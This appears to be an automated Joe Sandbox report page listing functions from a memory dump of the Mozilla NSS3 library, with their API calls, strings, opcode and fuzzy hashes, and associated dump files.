Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C68ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C68ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AD23

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AD39

Strings

hSession = 0x%x, xrefs: 6C68ACFE, 6C68AD0E
nvl, xrefs: 6C68AD51, 6C68AD7B
(CK_INVALID_HANDLE), xrefs: 6C68AD1C
C_MessageDecryptFinal, xrefs: 6C68ACE1

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nvl
API String ID: 332880674-330980815
Opcode ID: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction ID: ba6031fb8856be6d5744ec77cf8d1ff17a54fd97165969be7e65d26683861df6
Opcode Fuzzy Hash: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction Fuzzy Hash: 4621D7716021589FDB109F64DE8CFAA37B5AB4631DF044435ED09EBB92DB309908C7AE

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D73B9555), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C6B3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6B38BD), ref: 6C6B3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6B38BD), ref: 6C6B3CD1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C78B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C78B369,000000FF,00000000,00000000,00000000,6C6B38BD), ref: 6C6B3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C6B3D47
free.MOZGLUE(00000000), ref: 6C6B3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D6F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 368361367952fc737369fcd39688487f5ed469e2bb0b3c7bb182527ad23e2cdd
Instruction ID: 513b1839d01e18c1bd207dbb516c5ab3517ccdd2d40c880778e898e1a0d8ac1c
Opcode Fuzzy Hash: 368361367952fc737369fcd39688487f5ed469e2bb0b3c7bb182527ad23e2cdd
Instruction Fuzzy Hash: CB21D4B570111277FB2066BA5C09E7B39ECDB827A5B140635B939E76C0EE71D81083B5

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
